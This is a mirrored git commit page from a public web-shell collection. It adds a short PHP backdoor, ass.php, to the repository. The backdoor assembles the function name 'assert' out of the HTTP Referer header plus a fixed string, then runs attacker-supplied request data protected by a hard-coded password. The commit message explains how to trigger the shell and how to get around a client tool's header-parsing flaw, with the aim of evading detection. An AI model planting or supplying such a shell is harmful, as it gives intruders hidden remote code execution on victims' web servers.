mirror of
https://github.com/tennc/webshell
synced 2024-11-22 03:03:03 +00:00
Create ass.php
请求时,设置Referer头,后面以”ass****”结尾即可,比如:Referer: http://www.target.com/ass.php。 在使用Cknife时,注意软件实现有缺陷,会从第二个”:”处截断,可改成Referer: http%3a//www.target.com/ass.php from : http://alin.run/2020/08/04/php-webshell-bypass/
This commit is contained in:
parent
9fd273a5a5
commit
719eb9131d
1 changed files with 9 additions and 0 deletions
9
php/ass.php
Normal file
9
php/ass.php
Normal file
|
@ -0,0 +1,9 @@
|
|||
<?php
|
||||
/**
|
||||
* Noticed: (PHP 5 >= 5.3.0, PHP 7)
|
||||
*
|
||||
*/
|
||||
$password = "LandGrey";
|
||||
$wx = substr($_SERVER["HTTP_REFERER"],-7,-4);
|
||||
forward_static_call_array($wx."ert", array($_REQUEST[$password]));
|
||||
?>
|
Loading…
Reference in a new issue